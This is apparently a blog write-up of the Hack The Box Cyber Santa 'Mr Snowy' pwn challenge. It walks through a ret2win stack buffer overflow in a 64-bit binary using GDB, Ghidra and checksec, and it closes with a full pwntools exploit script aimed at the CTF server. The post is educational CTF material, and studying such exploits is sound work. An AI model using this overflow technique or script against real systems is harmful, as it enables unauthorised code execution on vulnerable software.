Thursday, December 2, 2021

Hack The Box Cyber Santa CTF - Pwn Day 1 - Mr Snowy Writeup

 Challenge File:  pwn_mr_snowy.zip

Exploitation Technique:  ret2win - Overwrite RIP in a 64-Bit binary to jump to a function that prints flag.txt.

Summary:  This is a beginner-intermediate level binary exploitation challenge where you overwrite the RIP address and have it jump to a function that opens the flag.txt file.

I categorize this as possible intermediate because it's a 64-bit Linux binary, and when I started with exploitation, 64-bit things tripped me up.  However, one can argue once you understand x64 exploitation, it's beginner level.  I'm more humble about how hard things can be because I remember how hard things were when I first started, so I always rate things harder than they actually are.  Anyways, let's get started!

Details:

The challenge zip contained two files:
  • flag.txt - Contained a fake flag:  HTB{f4k3_fl4g_4_t3st1ng}
  • mr_snowy - Challenge Binary
The first thing I always do is run "file" and "checksec" on the binary to get a snapshot of what we're dealing with:

file mr_snowy
mr_snowy: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=d6143c5f2214b3fe5c3569e23bd53666c7f7a366, not stripped

From this, we learn the binary is 64-bit, uses libraries like libc.so, and is not stripped, so we can easily debug or decompile and clearly see the function names.  So far so good.

checksec mr_snowy
    Arch:     amd64-64-little            # Arguments pulled from RDI, RSI, RDX, RCX
    RELRO:    Full RELRO            # Can't overwrite GOT addresses
    Stack:    No canary found         # Good
    NX:       NX enabled                # Can't inject shellcode
    PIE:      No PIE (0x400000)     # Hard coded addresses

From this, we learn we can't inject shellcode because the NX bit is enabled, so we'll find another method to get a shell.  "No PIE" is always a blessing because it means we can jump to any address in the binary using the addresses given in any debugging tool without needing to calculate the base address first.

Let's run the binary to see what it does.  Believe it or not, I always forget to run the binary until way later because I get lost in my initial analysis mental checklist:


The first thing to note is that the text prints to the screen VERY slowly, 8-bit RPG style, so later when we use Pwntools to read the input, we need to make sure we have our timeout settings higher.  We don't want our exploit code exiting too early because it was impatient.

First of all, option "2. Let it be" immediately exits, as well as option "2. Break it" in the next menu.  So, we need to focus on just pressing "1. Investigate" and "1. Deactivate".  By default, this also causes the program to immediately exit with "You do not know the password!"  It exits without giving us a chance to input a password!  Not fair!  Good thing we're hackers amrite!?  😂

Okay, let's dig in to understand how the binary works.  Our goal is to find any way we can type in lots of input to overflow a buffer (Buffer Overflow?  Get it!?)  Alrighty, next, I run the binary in GDB and print out it's functions with "info functions" and note potentially useful functions that's custom to this binary:

0x0000000000400acf  rainbow
0x0000000000400d3b  color
0x00000000004010ed  printstr
0x0000000000401165  deactivate_camera
0x0000000000401278  banner
0x0000000000401374  investigate
0x000000000040146a  snowman
0x00000000004014f1  setup
0x000000000040153e  main

I decompile the binary in Ghidra to understand these functions, keeping in mind to hunt for our buffer overflow input spot.  I always start with main() if one exists, and one does!

The main() is very plain and straight-forward.  I clicked through each function one at a time and discovered the snowman() function shows the first menu, and when we press "1. Investigate", it calls the investigate() function, and BAM!  Found our buffer overflow!  It prints the second menu, and when it asks for input of "1. Deactivate" or "2. Break it", it reads in a large 264 bytes in a tiny 64 byte buffer, which causes the overflow.  Here's the snippet of code in that function that illustrates this:

void investigate(void) {
    char local_48 [64];
    read(0, local_48, 264);
}

GOAL:  Fill the buffer with A's and try to get exactly 8 B's to show up in RIP as a placeholder.  

Side Note - We try to squeeze 8 B's because 64-bit systems use 8-byte addresses, each letter is a byte.  If this was a 32-bit binary, we'd squeeze 4 B's into EIP.  

We'll replace the B's with an address later to tell the code to jump somewhere else at the return of the investigate() function.  Since the buffer is 64 bytes, 8 bytes of RBP always goes after the buffer followed by 8 bytes of RIP, so basic math says:  

    64 Bytes + 8(RBP) + 8(RIP) = 
                        72(A's) + 8(RIP)

What this means is, we put 72 A's followed by 8 B's, in which the B's should end up in RIP (in which we'll illustrate with GDB).  Before we dive in, we need to remember to press "1. Investigate" to pass through the first menu, THEN we can inject our A's and B's payload.  First, we need to set a breakpoint at the "ret" at the end of the function taking our input, in this case, it's investigate().

In GDB, disassemble the investigate function like this to see all it's instructions and addresses, but note the "ret" address at the end:

(gdb) disassemble investigate
0x0000000000401469 <+245>:   ret    

Set a breakpoint at that address in GDB like this:

(gdb) break *0x0000000000401469

Alternatively, you could set the breakpoint using it's line number you see in it's instruction line:

(gdb) break *investigate+245

Now we can run the binary with our payload input and see if our B's end up in RIP.  In GDB, this is the way you feed Python output as input to a binary through STDIN:

(gdb) r <<< $(python -c 'print "1\n" + "A"*72 + "B"*8')

                    *Note the "1\n" to signify we inserted "1" then pressed <Enter>.
GDB runs, then breaks at "ret".  Type "info frame" to see if the B's showed up in "Saved RIP"


CHECK IT OUT!  Hex 0x42 stands for ASCII "B".  Saved RIP is where the program jumps to when it returns.  In 64-bit binaries, if you ran the program until it seg faults, you won't see the B's directly in the RIP register because 64-bit requires only real addresses in the RIP register.  You would only see the address of the last instruction (ret) before it seg faulted.  In 32-bit binaries, you would see "0x42424242" aka "BBBB" in EIP after seg faulting.

Anyways, now we have proof of concept that we can jump anywhere we want.  The question is, "Where do we want to go!?"

This reminded me the challenge zip came with a fake flag placeholder called "flag.txt", which means, they intend us to read that file somewhere.  So I went back to Ghidra and reviewed the decompiled code for all the C functions to look for "flag.txt" in the source, and found it in an uncalled function called "deactivate_camera()":

void deactivate(void) {
        local_38 = fopen("flag.txt","rb");
}

This function wasn't being called anywhere, but prints out the flag if we can get there!  The address was shown above when we did "info functions" in GDB.  We can also find the beginning address of that function in GDB with:

(gdb) disassemble deactivate_camera
   0x0000000000401165 <+0>:     push   rbp

However, we can't continue to use our one-liner in GDB since the address contains zeros or 0x00 null bytes, and the bash command line ignores the null bytes when it inputs it into the binary.  BUT!  Since this program uses read() to take in user input, the read() function in itself does NOT ignore the zeros if we gave it user input the proper way.  Therefore, we need to use Pwntools, which is more productive practice anyway since that's the bread and butter of more advanced binary exploitations.

This is not a Pwntools writeup, so I won't go into details (full exploit code in Appendix).  In our script, this is the payload:

deactivate = 0x0000000000401165
payload = "A"*72 + p64(deactivate)
p.sendline(payload)
p.interactive()

Output:  It's our fake flag!!!
    [+] Here is the secret password to deactivate the camera: HTB{f4k3_fl4g_4_t3st1ng}

Trying again on the real target with Pwntools gives the REAL flag:


HTB{n1c3_try_3lv35_but_n0t_g00d_3n0ugh}

In CTF Pwn, these functions that print out the flag are called "flag functions" because it's like an auto-win.  Typical exploitations, we need to hack our way into a full shell, find and cat out the flag.  A "flag function" typically represents a "beginner friendly pwn challenge."

That's all folks!  Hope you learned something!

APPENDIX:

-----------------------------------------------------------------------------------------------------------
### <solution.py>
from pwn import *

#p = process("./mr_snowy")
p = remote('178.128.35.31', 30491)
#gdb.attach(p, '''
#break *0x4013bc
#c
#''')

print(p.recvuntil('> ', timeout=8))    # First menu
p.sendline('1') # Investigate

print(p.recvuntil('> ', timeout=8))    # Second menu
deactivate = 0x0000000000401165
payload = "A"*72 + p64(deactivate)
p.sendline(payload)
p.interactive()
p.close()
-----------------------------------------------------------------------------------------------------------



No comments:

Post a Comment